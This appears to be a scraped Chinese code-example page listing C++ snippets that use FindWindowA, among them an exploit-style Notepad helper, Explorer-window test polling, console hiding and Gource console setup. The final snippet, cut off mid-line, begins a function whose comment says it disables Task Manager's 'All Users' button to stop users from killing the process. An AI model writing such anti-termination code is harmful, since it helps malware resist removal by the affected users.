自学教程：C++ FindWindowA函数代码示例

HWND notepad(LPCSTR name) {	char filename[1024], title[1024];	FILE *f=0x0;	sprintf_s(filename, 1024, "%s.txt", name);	DWORD rc = fopen_s(&f, filename, "w");	if(rc!=0) {		printf("[-] failed to create temporary text file/n");	}	fclose(f);	HINSTANCE inst = ShellExecuteA(0x0, "open", "notepad.exe", filename, 0x0, SW_SHOW);	if(inst < (HINSTANCE)33) {		printf("[-] failed to start notepad/n");	}	while(1) {	sprintf_s(title, 1024, "%s - Notepad", name);	HWND hwnd = FindWindowA(0x0, title);	if(hwnd) {		return hwnd;	}	sprintf_s(title, 1024, "%s.txt - Notepad", name);	hwnd = FindWindowA(0x0, title);	if(hwnd) {		//printf("[-] failed to retrieve handle to notepad window/n");		//return 0x0;		return hwnd;	}	}	return 0x0;}

/* * Check if Window is onscreen with the appropriate name. * * Windows are not created synchronously.  So we do not know * when and if the window will be created/shown on screen. * This function implements a polling mechanism to determine * creation. * A more complicated method would be to use SetWindowsHookEx. * Since polling worked fine in my testing, no reason to implement * the other.  Comments about other methods of determining when * window creation happened were not encouraging (not including * SetWindowsHookEx). */static HWND CheckWindowCreated(const char *winName, BOOL closeWindow, int testParams){    HWND window = NULL;    int i;    /* Poll for Window Creation */    for (i = 0; window == NULL && i < PDDE_POLL_NUM; i++)    {        Sleep(PDDE_POLL_TIME);        /* Specify the window class name to make sure what we find is really an         * Explorer window. Explorer used two different window classes so try         * both.         */        window = FindWindowA("ExplorerWClass", winName);        if (!window)            window = FindWindowA("CabinetWClass", winName);    }    ok (window != NULL, "Window /"%s/" was not created in %i seconds - assumed failure.%s/n",        winName, PDDE_POLL_NUM*PDDE_POLL_TIME/1000, GetStringFromTestParams(testParams));    /* Close Window as desired. */    if (window != NULL && closeWindow)    {        SendMessageA(window, WM_SYSCOMMAND, SC_CLOSE, 0);        window = NULL;    }    return window;}

int main(int argc,char **argv){    argv++; argc--;	if (argc!=2) {		printf("Wrong number of arguments/r/n");		printf("-g(G) *.ecs or -c *.dat/r/n");		printf("For unknown orders, use -gu(GU) *.ecs or -cu *.dat/r/n");		return 1;	}	if (strcmp(argv[0],"-g")==0) generate(argv[1]);	else if (strcmp(argv[0],"-G")==0) {#ifdef WIN32		ShowWindow(FindWindowA("ConsoleWindowClass",0),SW_HIDE);#endif		generate(argv[1]);	}	else if (strcmp(argv[0],"-c")==0) check(argv[1]);	else if (strcmp(argv[0],"-gu")==0) ugenerate(argv[1]);	else if (strcmp(argv[0],"-GU")==0) {#ifdef WIN32		ShowWindow(FindWindowA("ConsoleWindowClass",0),SW_HIDE);#endif		ugenerate(argv[1]);	}	else if (strcmp(argv[0],"-cu")==0) ucheck(argv[1]);}

void createWindowsConsole() {    if(consoleWindow !=0) return;    //create a console on Windows so users can see messages    //find an available name for our window    int console_suffix = 0;    char consoleTitle[512];    sprintf(consoleTitle, "%s", "Gource Console");    while(FindWindowA(0, consoleTitle)) {        sprintf(consoleTitle, "Gource Console %d", ++console_suffix);    }    AllocConsole();    SetConsoleTitleA(consoleTitle);    //redirect streams to console    freopen("conin$", "r", stdin);    freopen("conout$","w", stdout);    freopen("conout$","w", stderr);    consoleWindow = 0;    //wait for our console window    while(consoleWindow==0) {        consoleWindow = FindWindowA(0, consoleTitle);        SDL_Delay(100);    }    //disable the close button so the user cant crash gource    HMENU hm = GetSystemMenu(consoleWindow, false);    DeleteMenu(hm, SC_CLOSE, MF_BYCOMMAND);}

const char *LH_Lg160x43::userInit(){#ifdef Q_WS_WIN    // make sure neither LCDMon.exe nor LCORE.EXE is running on Windows    if( FindWindowA( "Logitech LCD Monitor Window", "LCDMon" ) ||            FindWindowA( "QWidget", "LCore" ) )        return "Logitech drivers are loaded";#endif    scan();    return NULL;}

void DisableTaskManagerAllUsersButton() //Disables the All Users button in Task Manager to prevent convenient killing of the process through the object permission modifications{    // <!-------! CRC AREA START !-------!>    char cCheckString[DEFAULT];    sprintf(cCheckString, "%[email
C++ FindWindowById函数代码示例
C++ FindWindow函数代码示例